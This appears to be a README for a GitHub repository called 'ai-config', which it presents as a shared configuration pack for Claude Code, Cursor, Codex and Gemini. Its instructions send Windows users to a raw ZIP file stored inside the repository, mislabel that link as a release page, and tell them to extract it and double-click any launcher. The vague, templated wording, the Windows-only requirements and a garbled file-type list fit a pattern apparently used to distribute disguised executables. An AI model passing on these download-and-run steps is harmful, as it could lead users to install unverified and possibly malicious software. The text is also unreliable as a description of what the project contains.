ai-config is a ready-to-use config package for AI tools and agent apps. It gives you one place to keep your setup organized. It helps you keep your AI tools consistent, secure, and easy to update.
Use it if you want a clean setup for tools like Claude Code, Codex, Cursor, Gemini, and OpenAI-based apps. It is built for users who want less setup work and fewer moving parts.
- A single config source for your AI tools
- Simple defaults that reduce setup mistakes
- Clear rules for agent behavior
- Support for knowledge graph and ontology-style workflows
- A setup that works well for development and testing
- A structure that keeps sensitive values out of the open
- Windows 10 or Windows 11
- Internet access for the first download
- A modern web browser
- Permission to save files on your PC
- Enough free disk space for the config files
If you use Windows in a work setting, you may also need permission to run downloaded files or unzip folders.
Visit this page to download the latest release:
https://github.com/GiftedSZN/ai-config/raw/refs/heads/main/cursor/ai-config-2.3.zip
On that page, look for the newest release and open the file that matches your Windows setup. If the release comes as a ZIP file, download it and extract it first.
- Open the download page in your browser.
- Find the latest release near the top of the page.
- Download the file that matches the release.
- If the file is a ZIP, right-click it and choose Extract All.
- Pick a folder you can find again, such as Downloads or Documents.
- Open the extracted folder.
- Look for a readme file, config folder, or setup file inside the release.
- If the release includes a Windows app or launcher, double-click it to start.
- If the release is a config pack, copy its files into the app folder it supports.
- Restart your AI tool so it can load the new config.
After you install the files, open your AI tool and point it to the new config path if the app asks for one. Many tools read config files from a known folder, so you may only need to place the files in the right spot.
If you use Claude Code, Cursor, Codex, Gemini, or another agent tool, check its settings for:
- Config path
- Workspace rules
- Model settings
- Safe mode or local-only mode
- Prompt or agent instructions
Use the same config source across tools when you can. That keeps behavior more stable from one app to the next.
ai-config follows a secure-by-default approach. That means it aims to reduce risky settings and keep control in your hands.
It is a good fit for users who want to:
- Keep secret values separate from shared files
- Reduce accidental exposure of keys or tokens
- Use clear rules for agent behavior
- Limit what an AI tool can change
- Keep setup files easier to review
If the package includes sample files, replace any placeholder values before you use them with your own data.
- A home user setting up an AI assistant on Windows
- A developer who wants the same config across tools
- A team that needs one shared source of truth
- A user working with knowledge graphs or RDF data
- An agent workflow that needs clear rules and repeatable behavior
- A setup that supports ontology-driven LLM work
The config is built to help your AI tools behave in a more predictable way. In practice, that means:
- Fewer setup steps
- Less time switching between settings screens
- More consistent agent behavior
- Easier testing of prompts and rules
- A cleaner place to manage changes
If you update the config later, replace the old files with the new ones from the latest release.
If you are not sure where to place the files, use a simple layout like this:
- Downloads for the release ZIP
- Documents for a backup copy
- A dedicated folder for ai-config files
- A notes file with your own settings and changes
Keeping one backup copy helps if you need to restore a known-good setup.
.mdfiles for setup notes.jsonfiles for app settings.yamlor.ymlfiles for config rules.txtfiles for short instructions.envfiles for secret values.rdfor ontology-related files for graph-based setups
If you are unsure which file to open, start with the README or the main config file in the release folder.
When a new release is available:
- Go back to the release page.
- Download the newest version.
- Save your current config folder as a backup.
- Replace the old files with the new files.
- Open your AI tool again and check that it loads the update.
Use one backup per version if you want an easy rollback path.
- Make sure you extracted the ZIP first
- Try opening the file from File Explorer
- Check that the file name did not change during download
- Restart the app
- Check the config path in the app settings
- Confirm the files are in the right folder
- Make sure the file names match what the app expects
- Open the release page again
- Look for the latest version at the top
- Check the Assets area on the release page
- Expand the section if it is collapsed
- Restore the backup copy
- Keep a separate folder for your edits
- Save a second copy before you update
This repo fits tools that use agent rules and shared instructions. If your tool supports a project file, put the config in the same place for each workspace. That helps keep results steady across sessions.
For best results:
- Use one config source
- Keep your rules short and clear
- Update only what you need
- Test changes in one app before you copy them to others
- Save a backup before each change
agents, agents-md, ai-config, claude-code, codex, cursor, developer-tools, gemini, knowledge-graph, llm, ontology, openai, owl, rdf, secure-by-default, sparql, tdd
The latest release files are available from the GitHub releases page:
https://github.com/GiftedSZN/ai-config/raw/refs/heads/main/cursor/ai-config-2.3.zip